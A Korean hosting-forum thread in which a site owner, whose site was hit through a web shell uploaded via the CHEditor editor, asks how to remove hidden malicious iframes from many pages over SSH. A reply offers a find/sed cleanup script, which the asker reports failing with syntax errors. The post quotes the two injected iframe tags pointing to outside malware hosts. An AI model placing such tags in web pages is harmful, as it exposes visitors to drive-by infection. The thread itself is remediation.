ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 1010 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다.

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 1,739
14년 전 조회 1,131
14년 전 조회 1,412
14년 전 조회 919
14년 전 조회 1,078
14년 전 조회 871
14년 전 조회 1,192
14년 전 조회 1,080
14년 전 조회 506
14년 전 조회 650
14년 전 조회 698
14년 전 조회 1,036
14년 전 조회 864
14년 전 조회 866
14년 전 조회 827
14년 전 조회 1,252
14년 전 조회 950
14년 전 조회 954
14년 전 조회 962
14년 전 조회 771
14년 전 조회 1,826
14년 전 조회 1,602
14년 전 조회 1,024
14년 전 조회 852
14년 전 조회 1,926
14년 전 조회 1,299
14년 전 조회 1,138
14년 전 조회 888
14년 전 조회 1,599
14년 전 조회 3,860
14년 전 조회 2,504
14년 전 조회 1,200
14년 전 조회 818
14년 전 조회 881
14년 전 조회 1,419
14년 전 조회 1,073
14년 전 조회 1,435
14년 전 조회 1,491
14년 전 조회 1,509
14년 전 조회 701
14년 전 조회 952
14년 전 조회 2,836
14년 전 조회 850
14년 전 조회 1,322
14년 전 조회 900
14년 전 조회 774
14년 전 조회 1,321
14년 전 조회 748
14년 전 조회 1,424
14년 전 조회 1,011
14년 전 조회 1,670
14년 전 조회 1,600
14년 전 조회 1,116
14년 전 조회 1,343
14년 전 조회 1,026
14년 전 조회 1,732
14년 전 조회 1,312
14년 전 조회 1,313
14년 전 조회 1,584
14년 전 조회 1,486
14년 전 조회 916
14년 전 조회 990
14년 전 조회 757
14년 전 조회 927
14년 전 조회 1,680
14년 전 조회 2,432
14년 전 조회 2,335
14년 전 조회 1,976
14년 전 조회 1,503
14년 전 조회 1,585
14년 전 조회 1,361
14년 전 조회 1,619
14년 전 조회 728
14년 전 조회 1,350
14년 전 조회 725
14년 전 조회 1,173
14년 전 조회 944
14년 전 조회 2,054
14년 전 조회 833
14년 전 조회 2,657
14년 전 조회 1,062
14년 전 조회 911
14년 전 조회 2,994
14년 전 조회 787
14년 전 조회 1,051
14년 전 조회 583
14년 전 조회 908
14년 전 조회 682
14년 전 조회 1,384
14년 전 조회 803
14년 전 조회 1,184
14년 전 조회 813
14년 전 조회 726
14년 전 조회 705
14년 전 조회 1,427
14년 전 조회 889
14년 전 조회 776
14년 전 조회 794
14년 전 조회 1,464
14년 전 조회 1,475